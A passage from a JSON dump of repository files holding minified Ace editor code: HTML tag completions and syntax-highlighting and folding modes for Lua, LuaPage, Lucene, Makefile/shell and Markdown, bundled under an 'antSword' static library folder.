\"name\"],area:[\"shape\",\"coords\",\"href\",\"hreflang\",\"alt\",\"target\",\"media\",\"rel\",\"ping\",\"type\"],svg:[],math:[],table:[\"summary\"],caption:[],colgroup:[\"span\"],col:[\"span\"],tbody:[],thead:[],tfoot:[],tr:[],td:[\"headers\",\"rowspan\",\"colspan\"],th:[\"headers\",\"rowspan\",\"colspan\",\"scope\"],form:[\"accept-charset\",\"action\",\"autocomplete\",\"enctype\",\"method\",\"name\",\"novalidate\",\"target\"],fieldset:[\"disabled\",\"form\",\"name\"],legend:[],label:[\"form\",\"for\"],input:[\"type\",\"accept\",\"alt\",\"autocomplete\",\"checked\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"height\",\"list\",\"max\",\"maxlength\",\"min\",\"multiple\",\"pattern\",\"placeholder\",\"readonly\",\"required\",\"size\",\"src\",\"step\",\"width\",\"files\",\"value\"],button:[\"autofocus\",\"disabled\",\"form\",\"formaction\",\"formenctype\",\"formmethod\",\"formnovalidate\",\"formtarget\",\"name\",\"value\",\"type\"],select:[\"autofocus\",\"disabled\",\"form\",\"multiple\",\"name\",\"size\"],datalist:[],optgroup:[\"disabled\",\"label\"],option:[\"disabled\",\"selected\",\"label\",\"value\"],textarea:[\"autofocus\",\"disabled\",\"form\",\"maxlength\",\"name\",\"placeholder\",\"readonly\",\"required\",\"rows\",\"cols\",\"wrap\"],keygen:[\"autofocus\",\"challenge\",\"disabled\",\"form\",\"keytype\",\"name\"],output:[\"for\",\"form\",\"name\"],progress:[\"value\",\"max\"],meter:[\"value\",\"min\",\"max\",\"low\",\"high\",\"optimum\"],details:[\"open\"],summary:[],command:[\"type\",\"label\",\"icon\",\"disabled\",\"checked\",\"radiogroup\",\"command\"],menu:[\"type\",\"label\"],dialog:[\"open\"]},a=Object.keys(u),c=function(){};(function(){this.getCompletions=function(e,t,n,r){var i=t.getTokenAt(n.row,n.column);return i?f(i,\"tag-name\")||f(i,\"tag-open\")||f(i,\"end-tag-open\")?this.getTagCompletions(e,t,n,r):f(i,\"tag-whitespace\")||f(i,\"attribute-name\")?this.getAttributeCompetions(e,t,n,r):[]:[]},this.getTagCompletions=function(e,t,n,r){return a.map(function(e){return{value:e,meta:\"tag\",score:Number.MAX_VALUE}})},this.getAttributeCompetions=function(e,t,n,r){var i=l(t,n);if(!i)return[];var s=o;return i in u&&(s=s.concat(u[i])),s.map(function(e){return{caption:e,snippet:e+'=\"$0\"',meta:\"attribute\",score:Number.MAX_VALUE}})}}).call(c.prototype),t.HtmlCompletions=c}),ace.define(\"ace/mode/html\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text\",\"ace/mode/javascript\",\"ace/mode/css\",\"ace/mode/html_highlight_rules\",\"ace/mode/behaviour/xml\",\"ace/mode/folding/html\",\"ace/mode/html_completions\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text\").Mode,o=e(\"./javascript\").Mode,u=e(\"./css\").Mode,a=e(\"./html_highlight_rules\").HtmlHighlightRules,f=e(\"./behaviour/xml\").XmlBehaviour,l=e(\"./folding/html\").FoldMode,c=e(\"./html_completions\").HtmlCompletions,h=e(\"../worker/worker_client\").WorkerClient,p=[\"area\",\"base\",\"br\",\"col\",\"embed\",\"hr\",\"img\",\"input\",\"keygen\",\"link\",\"meta\",\"menuitem\",\"param\",\"source\",\"track\",\"wbr\"],d=[\"li\",\"dt\",\"dd\",\"p\",\"rt\",\"rp\",\"optgroup\",\"option\",\"colgroup\",\"td\",\"th\"],v=function(e){this.fragmentContext=e&&e.fragmentContext,this.HighlightRules=a,this.$behaviour=new f,this.$completer=new c,this.createModeDelegates({\"js-\":o,\"css-\":u}),this.foldingRules=new l(this.voidElements,i.arrayToMap(d))};r.inherits(v,s),function(){this.blockComment={start:\"<!--\",end:\"-->\"},this.voidElements=i.arrayToMap(p),this.getNextLineIndent=function(e,t,n){return this.$getIndent(t)},this.checkOutdent=function(e,t,n){return!1},this.getCompletions=function(e,t,n,r){return this.$completer.getCompletions(e,t,n,r)},this.createWorker=function(e){if(this.constructor!=v)return;var t=new h([\"ace\"],\"ace/mode/html_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),this.fragmentContext&&t.call(\"setOptions\",[{context:this.fragmentContext}]),t.on(\"error\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/html\"}.call(v.prototype),t.Mode=v}),ace.define(\"ace/mode/lua_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){var e=\"break|do|else|elseif|end|for|function|if|in|local|repeat|return|then|until|while|or|and|not\",t=\"true|false|nil|_G|_VERSION\",n=\"string|xpcall|package|tostring|print|os|unpack|require|getfenv|setmetatable|next|assert|tonumber|io|rawequal|collectgarbage|getmetatable|module|rawset|math|debug|pcall|table|newproxy|type|coroutine|_G|select|gcinfo|pairs|rawget|loadstring|ipairs|_VERSION|dofile|setfenv|load|error|loadfile|sub|upper|len|gfind|rep|find|match|char|dump|gmatch|reverse|byte|format|gsub|lower|preload|loadlib|loaded|loaders|cpath|config|path|seeall|exit|setlocale|date|getenv|difftime|remove|time|clock|tmpname|rename|execute|lines|write|close|flush|open|output|type|read|stderr|stdin|input|stdout|popen|tmpfile|log|max|acos|huge|ldexp|pi|cos|tanh|pow|deg|tan|cosh|sinh|random|randomseed|frexp|ceil|floor|rad|abs|sqrt|modf|asin|min|mod|fmod|log10|atan2|exp|sin|atan|getupvalue|debug|sethook|getmetatable|gethook|setmetatable|setlocal|traceback|setfenv|getinfo|setupvalue|getlocal|getregistry|getfenv|setn|insert|getn|foreachi|maxn|foreach|concat|sort|remove|resume|yield|status|wrap|create|running|__add|__sub|__mod|__unm|__concat|__lt|__index|__call|__gc|__metatable|__mul|__div|__pow|__len|__eq|__le|__newindex|__tostring|__mode|__tonumber\",r=\"string|package|os|io|math|debug|table|coroutine\",i=\"\",s=\"setn|foreach|foreachi|gcinfo|log10|maxn\",o=this.createKeywordMapper({keyword:e,\"support.function\":n,\"invalid.deprecated\":s,\"constant.library\":r,\"constant.language\":t,\"invalid.illegal\":i,\"variable.language\":\"self\"},\"identifier\"),u=\"(?:(?:[1-9]\\\\d*)|(?:0))\",a=\"(?:0[xX][\\\\dA-Fa-f]+)\",f=\"(?:\"+u+\"|\"+a+\")\",l=\"(?:\\\\.\\\\d+)\",c=\"(?:\\\\d+)\",h=\"(?:(?:\"+c+\"?\"+l+\")|(?:\"+c+\"\\\\.))\",p=\"(?:\"+h+\")\";this.$rules={start:[{stateName:\"bracketedComment\",onMatch:function(e,t,n){return n.unshift(this.next,e.length-2,t),\"comment\"},regex:/\\-\\-\\[=*\\[/,next:[{onMatch:function(e,t,n){return e.length==n[1]?(n.shift(),n.shift(),this.next=n.shift()):this.next=\"\",\"comment\"},regex:/\\]=*\\]/,next:\"start\"},{defaultToken:\"comment\"}]},{token:\"comment\",regex:\"\\\\-\\\\-.*$\"},{stateName:\"bracketedString\",onMatch:function(e,t,n){return n.unshift(this.next,e.length,t),\"comment\"},regex:/\\[=*\\[/,next:[{onMatch:function(e,t,n){return e.length==n[1]?(n.shift(),n.shift(),this.next=n.shift()):this.next=\"\",\"comment\"},regex:/\\]=*\\]/,next:\"start\"},{defaultToken:\"comment\"}]},{token:\"string\",regex:'\"(?:[^\\\\\\\\]|\\\\\\\\.)*?\"'},{token:\"string\",regex:\"'(?:[^\\\\\\\\]|\\\\\\\\.)*?'\"},{token:\"constant.numeric\",regex:p},{token:\"constant.numeric\",regex:f+\"\\\\b\"},{token:o,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\/|%|\\\\#|\\\\^|~|<|>|<=|=>|==|~=|=|\\\\:|\\\\.\\\\.\\\\.|\\\\.\\\\.\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]\\\\)\\\\}]\"},{token:\"text\",regex:\"\\\\s+|\\\\w+\"}]},this.normalizeRules()};r.inherits(s,i),t.LuaHighlightRules=s}),ace.define(\"ace/mode/folding/lua\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\",\"ace/token_iterator\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=e(\"../../token_iterator\").TokenIterator,u=t.FoldMode=function(){};r.inherits(u,i),function(){this.foldingStartMarker=/\\b(function|then|do|repeat)\\b|{\\s*$|(\\[=*\\[)/,this.foldingStopMarker=/\\bend\\b|^\\s*}|\\]=*\\]/,this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=this.foldingStartMarker.test(r),s=this.foldingStopMarker.test(r);if(i&&!s){var o=r.match(this.foldingStartMarker);if(o[1]==\"then\"&&/\\belseif\\b/.test(r))return;if(o[1]){if(e.getTokenAt(n,o.index+1).type===\"keyword\")return\"start\"}else{if(!o[2])return\"start\";var u=e.bgTokenizer.getState(n)||\"\";if(u[0]==\"bracketedComment\"||u[0]==\"bracketedString\")return\"start\"}}if(t!=\"markbeginend\"||!s||i&&s)return\"\";var o=r.match(this.foldingStopMarker);if(o[0]===\"end\"){if(e.getTokenAt(n,o.index+1).type===\"keyword\")return\"end\"}else{if(o[0][0]!==\"]\")return\"end\";var u=e.bgTokenizer.getState(n-1)||\"\";if(u[0]==\"bracketedComment\"||u[0]==\"bracketedString\")return\"end\"}},this.getFoldWidgetRange=function(e,t,n){var r=e.doc.getLine(n),i=this.foldingStartMarker.exec(r);if(i)return i[1]?this.luaBlock(e,n,i.index+1):i[2]?e.getCommentFoldRange(n,i.index+1):this.openingBracketBlock(e,\"{\",n,i.index);var i=this.foldingStopMarker.exec(r);if(i)return i[0]===\"end\"&&e.getTokenAt(n,i.index+1).type===\"keyword\"?this.luaBlock(e,n,i.index+1):i[0][0]===\"]\"?e.getCommentFoldRange(n,i.index+1):this.closingBracketBlock(e,\"}\",n,i.index+i[0].length)},this.luaBlock=function(e,t,n){var r=new o(e,t,n),i={\"function\":1,\"do\":1,then:1,elseif:-1,end:-1,repeat:1,until:-1},u=r.getCurrentToken();if(!u||u.type!=\"keyword\")return;var a=u.value,f=[a],l=i[a];if(!l)return;var c=l===-1?r.getCurrentTokenColumn():e.getLine(t).length,h=t;r.step=l===-1?r.stepBackward:r.stepForward;while(u=r.step()){if(u.type!==\"keyword\")continue;var p=l*i[u.value];if(p>0)f.unshift(u.value);else if(p<=0){f.shift();if(!f.length&&u.value!=\"elseif\")break;p===0&&f.unshift(u.value)}}var t=r.getCurrentTokenRow();return l===-1?new s(t,e.getLine(t).length,h,c):new s(h,c,t,r.getCurrentTokenColumn())}}.call(u.prototype)}),ace.define(\"ace/mode/lua\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/lua_highlight_rules\",\"ace/mode/folding/lua\",\"ace/range\",\"ace/worker/worker_client\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./lua_highlight_rules\").LuaHighlightRules,o=e(\"./folding/lua\").FoldMode,u=e(\"../range\").Range,a=e(\"../worker/worker_client\").WorkerClient,f=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(f,i),function(){function n(t){var n=0;for(var r=0;r<t.length;r++){var i=t[r];i.type==\"keyword\"?i.value in e&&(n+=e[i.value]):i.type==\"paren.lparen\"?n+=i.value.length:i.type==\"paren.rparen\"&&(n-=i.value.length)}return n<0?-1:n>0?1:0}this.lineCommentStart=\"--\",this.blockComment={start:\"--[\",end:\"]--\"};var e={\"function\":1,then:1,\"do\":1,\"else\":1,elseif:1,repeat:1,end:-1,until:-1},t=[\"else\",\"elseif\",\"end\",\"until\"];this.getNextLineIndent=function(e,t,r){var i=this.$getIndent(t),s=0,o=this.getTokenizer().getLineTokens(t,e),u=o.tokens;return e==\"start\"&&(s=n(u)),s>0?i+r:s<0&&i.substr(i.length-r.length)==r&&!this.checkOutdent(e,t,\"\\n\")?i.substr(0,i.length-r.length):i},this.checkOutdent=function(e,n,r){if(r!=\"\\n\"&&r!=\"\\r\"&&r!=\"\\r\\n\")return!1;if(n.match(/^\\s*[\\)\\}\\]]$/))return!0;var i=this.getTokenizer().getLineTokens(n.trim(),e).tokens;return!i||!i.length?!1:i[0].type==\"keyword\"&&t.indexOf(i[0].value)!=-1},this.autoOutdent=function(e,t,r){var i=t.getLine(r-1),s=this.$getIndent(i).length,o=this.getTokenizer().getLineTokens(i,\"start\").tokens,a=t.getTabString().length,f=s+a*n(o),l=this.$getIndent(t.getLine(r)).length;if(l<f)return;t.outdentRows(new u(r,0,r+2,0))},this.createWorker=function(e){var t=new a([\"ace\"],\"ace/mode/lua_worker\",\"Worker\");return t.attachToDocument(e.getDocument()),t.on(\"annotate\",function(t){e.setAnnotations(t.data)}),t.on(\"terminate\",function(){e.clearAnnotations()}),t},this.$id=\"ace/mode/lua\"}.call(f.prototype),t.Mode=f}),ace.define(\"ace/mode/luapage_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html_highlight_rules\",\"ace/mode/lua_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html_highlight_rules\").HtmlHighlightRules,s=e(\"./lua_highlight_rules\").LuaHighlightRules,o=function(){i.call(this);var e=[{token:\"keyword\",regex:\"<\\\\%\\\\=?\",push:\"lua-start\"},{token:\"keyword\",regex:\"<\\\\?lua\\\\=?\",push:\"lua-start\"}],t=[{token:\"keyword\",regex:\"\\\\%>\",next:\"pop\"},{token:\"keyword\",regex:\"\\\\?>\",next:\"pop\"}];this.embedRules(s,\"lua-\",t,[\"start\"]);for(var n in this.$rules)this.$rules[n].unshift.apply(this.$rules[n],e);this.normalizeRules()};r.inherits(o,i),t.LuaPageHighlightRules=o}),ace.define(\"ace/mode/luapage\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/html\",\"ace/mode/lua\",\"ace/mode/luapage_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./html\").Mode,s=e(\"./lua\").Mode,o=e(\"./luapage_highlight_rules\").LuaPageHighlightRules,u=function(){i.call(this),this.HighlightRules=o,this.createModeDelegates({\"lua-\":s})};r.inherits(u,i),function(){this.$id=\"ace/mode/luapage\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-lucene.js",
    "content": "ace.define(\"ace/mode/lucene_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/lib/lang\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"../lib/lang\"),s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(){this.$rules={start:[{token:\"constant.character.negation\",regex:\"[\\\\-]\"},{token:\"constant.character.interro\",regex:\"[\\\\?]\"},{token:\"constant.character.asterisk\",regex:\"[\\\\*]\"},{token:\"constant.character.proximity\",regex:\"~[0-9]+\\\\b\"},{token:\"keyword.operator\",regex:\"(?:AND|OR|NOT)\\\\b\"},{token:\"paren.lparen\",regex:\"[\\\\(]\"},{token:\"paren.rparen\",regex:\"[\\\\)]\"},{token:\"keyword\",regex:\"[\\\\S]+:\"},{token:\"string\",regex:'\".*?\"'},{token:\"text\",regex:\"\\\\s+\"}]}};r.inherits(o,s),t.LuceneHighlightRules=o}),ace.define(\"ace/mode/lucene\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/lucene_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./lucene_highlight_rules\").LuceneHighlightRules,o=function(){this.HighlightRules=s};r.inherits(o,i),function(){this.$id=\"ace/mode/lucene\"}.call(o.prototype),t.Mode=o})"
  },
  {
    "path": "antSword/static/libs/ace/mode-makefile.js",
    "content": "ace.define(\"ace/mode/sh_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=t.reservedKeywords=\"!|{|}|case|do|done|elif|else|esac|fi|for|if|in|then|until|while|&|;|export|local|read|typeset|unset|elif|select|set\",o=t.languageConstructs=\"[|]|alias|bg|bind|break|builtin|cd|command|compgen|complete|continue|dirs|disown|echo|enable|eval|exec|exit|fc|fg|getopts|hash|help|history|jobs|kill|let|logout|popd|printf|pushd|pwd|return|set|shift|shopt|source|suspend|test|times|trap|type|ulimit|umask|unalias|wait\",u=function(){var e=this.createKeywordMapper({keyword:s,\"support.function.builtin\":o,\"invalid.deprecated\":\"debugger\"},\"identifier\"),t=\"(?:(?:[1-9]\\\\d*)|(?:0))\",n=\"(?:\\\\.\\\\d+)\",r=\"(?:\\\\d+)\",i=\"(?:(?:\"+r+\"?\"+n+\")|(?:\"+r+\"\\\\.))\",u=\"(?:(?:\"+i+\"|\"+r+\")\"+\")\",a=\"(?:\"+u+\"|\"+i+\")\",f=\"(?:&\"+r+\")\",l=\"[a-zA-Z_][a-zA-Z0-9_]*\",c=\"(?:(?:\\\\$\"+l+\")|(?:\"+l+\"=))\",h=\"(?:\\\\$(?:SHLVL|\\\\$|\\\\!|\\\\?))\",p=\"(?:\"+l+\"\\\\s*\\\\(\\\\))\";this.$rules={start:[{token:\"constant\",regex:/\\\\./},{token:[\"text\",\"comment\"],regex:/(^|\\s)(#.*)$/},{token:\"string\",regex:'\"',push:[{token:\"constant.language.escape\",regex:/\\\\(?:[$abeEfnrtv\\\\'\"]|x[a-fA-F\\d]{1,2}|u[a-fA-F\\d]{4}([a-fA-F\\d]{4})?|c.|\\d{1,3})/},{token:\"constant\",regex:/\\$\\w+/},{token:\"string\",regex:'\"',next:\"pop\"},{defaultToken:\"string\"}]},{regex:\"<<<\",token:\"keyword.operator\"},{stateName:\"heredoc\",regex:\"(<<-?)(\\\\s*)(['\\\"`]?)([\\\\w\\\\-]+)(['\\\"`]?)\",onMatch:function(e,t,n){var r=e[2]==\"-\"?\"indentedHeredoc\":\"heredoc\",i=e.split(this.splitRegex);return n.push(r,i[4]),[{type:\"constant\",value:i[1]},{type:\"text\",value:i[2]},{type:\"string\",value:i[3]},{type:\"support.class\",value:i[4]},{type:\"string\",value:i[5]}]},rules:{heredoc:[{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}],indentedHeredoc:[{token:\"string\",regex:\"^\t+\"},{onMatch:function(e,t,n){return e===n[1]?(n.shift(),n.shift(),this.next=n[0]||\"start\",\"support.class\"):(this.next=\"\",\"string\")},regex:\".*$\",next:\"start\"}]}},{regex:\"$\",token:\"empty\",next:function(e,t){return t[0]===\"heredoc\"||t[0]===\"indentedHeredoc\"?t[0]:e}},{token:\"variable.language\",regex:h},{token:\"variable\",regex:c},{token:\"support.function\",regex:p},{token:\"support.function\",regex:f},{token:\"string\",start:\"'\",end:\"'\"},{token:\"constant.numeric\",regex:a},{token:\"constant.numeric\",regex:t+\"\\\\b\"},{token:e,regex:\"[a-zA-Z_][a-zA-Z0-9_]*\\\\b\"},{token:\"keyword.operator\",regex:\"\\\\+|\\\\-|\\\\*|\\\\*\\\\*|\\\\/|\\\\/\\\\/|~|<|>|<=|=>|=|!=\"},{token:\"paren.lparen\",regex:\"[\\\\[\\\\(\\\\{]\"},{token:\"paren.rparen\",regex:\"[\\\\]\\\\)\\\\}]\"}]},this.normalizeRules()};r.inherits(u,i),t.ShHighlightRules=u}),ace.define(\"ace/mode/makefile_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\",\"ace/mode/sh_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=e(\"./sh_highlight_rules\"),o=function(){var e=this.createKeywordMapper({keyword:s.reservedKeywords,\"support.function.builtin\":s.languageConstructs,\"invalid.deprecated\":\"debugger\"},\"string\");this.$rules={start:[{token:\"string.interpolated.backtick.makefile\",regex:\"`\",next:\"shell-start\"},{token:\"punctuation.definition.comment.makefile\",regex:/#(?=.)/,next:\"comment\"},{token:[\"keyword.control.makefile\"],regex:\"^(?:\\\\s*\\\\b)(\\\\-??include|ifeq|ifneq|ifdef|ifndef|else|endif|vpath|export|unexport|define|endef|override)(?:\\\\b)\"},{token:[\"entity.name.function.makefile\",\"text\"],regex:\"^([^\\\\t ]+(?:\\\\s[^\\\\t ]+)*:)(\\\\s*.*)\"}],comment:[{token:\"punctuation.definition.comment.makefile\",regex:/.+\\\\/},{token:\"punctuation.definition.comment.makefile\",regex:\".+\",next:\"start\"}],\"shell-start\":[{token:e,regex:\"[a-zA-Z_$][a-zA-Z0-9_$]*\\\\b\"},{token:\"string\",regex:\"\\\\w+\"},{token:\"string.interpolated.backtick.makefile\",regex:\"`\",next:\"start\"}]}};r.inherits(o,i),t.MakefileHighlightRules=o}),ace.define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),ace.define(\"ace/mode/makefile\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/makefile_highlight_rules\",\"ace/mode/folding/coffee\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./makefile_highlight_rules\").MakefileHighlightRules,o=e(\"./folding/coffee\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.lineCommentStart=\"#\",this.$indentWithTabs=!0,this.$id=\"ace/mode/makefile\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "antSword/static/libs/ace/mode-markdown.js",
    "content": "ace.define(\"ace/mode/doc_comment_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.doc.tag\",regex:\"@[\\\\w\\\\d_]+\"},s.getTagRule(),{defaultToken:\"comment.doc\",caseInsensitive:!0}]}};r.inherits(s,i),s.getTagRule=function(e){return{token:\"comment.doc.tag.storage.type\",regex:\"\\\\b(?:TODO|FIXME|XXX|HACK)\\\\b\"}},s.getStartRule=function(e){return{token:\"comment.doc\",regex:\"\\\\/\\\\*(?=\\\\*)\",next:e}},s.getEndRule=function(e){return{token:\"comment.doc\",regex:\"\\\\*\\\\/\",next:e}},t.DocCommentHighlightRules=s}),ace.define(\"ace/mode/javascript_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/doc_comment_highlight_rules\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./doc_comment_highlight_rules\").DocCommentHighlightRules,s=e(\"./text_highlight_rules\").TextHighlightRules,o=function(e){var t=this.createKeywordMapper({\"variable.language\":\"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|Namespace|QName|XML|XMLList|ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|SyntaxError|TypeError|URIError|decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|isNaN|parseFloat|parseInt|JSON|Math|this|arguments|prototype|window|document\",keyword:\"const|yield|import|get|set|break|case|catch|continue|default|delete|do|else|finally|for|function|if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|__parent__|__count__|escape|unescape|with|__proto__|class|enum|extends|super|export|implements|private|public|interface|package|protected|static\",\"storage.type\":\"const|let|var|function\",\"constant.language\":\"null|Infinity|NaN|undefined\",\"support.function\":\"alert\",\"constant.language.boolean\":\"true|false\"},\"identifier\"),n=\"case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void\",r=\"[a-zA-Z\\\\$_\\u00a1-\\uffff][a-zA-Z\\\\d\\\\$_\\u00a1-\\uffff]*\\\\b\",s=\"\\\\\\\\(?:x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\";this.$rules={no_regex:[{token:\"comment\",regex:\"\\\\/\\\\/\",next:\"line_comment\"},i.getStartRule(\"doc-start\"),{token:\"comment\",regex:/\\/\\*/,next:\"comment\"},{token:\"string\",regex:\"'(?=.)\",next:\"qstring\"},{token:\"string\",regex:'\"(?=.)',next:\"qqstring\"},{token:\"constant.numeric\",regex:/0[xX][0-9a-fA-F]+\\b/},{token:\"constant.numeric\",regex:/[+-]?\\d+(?:(?:\\.\\d*)?(?:[eE][+-]?\\d+)?)?\\b/},{token:[\"storage.type\",\"punctuation.operator\",\"support.function\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\"],regex:\"(\"+r+\")(\\\\.)(prototype)(\\\\.)(\"+r+\")(\\\\s*)(=)\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"punctuation.operator\",\"entity.name.function\",\"text\",\"keyword.operator\",\"text\",\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\.)(\"+r+\")(\\\\s*)(=)(\\\\s*)(function)(\\\\s+)(\\\\w+)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"storage.type\",\"text\",\"entity.name.function\",\"text\",\"paren.lparen\"],regex:\"(function)(\\\\s+)(\"+r+\")(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"entity.name.function\",\"text\",\"punctuation.operator\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(\"+r+\")(\\\\s*)(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:[\"text\",\"text\",\"storage.type\",\"text\",\"paren.lparen\"],regex:\"(:)(\\\\s*)(function)(\\\\s*)(\\\\()\",next:\"function_arguments\"},{token:\"keyword\",regex:\"(?:\"+n+\")\\\\b\",next:\"start\"},{token:[\"punctuation.operator\",\"support.function\"],regex:/(\\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?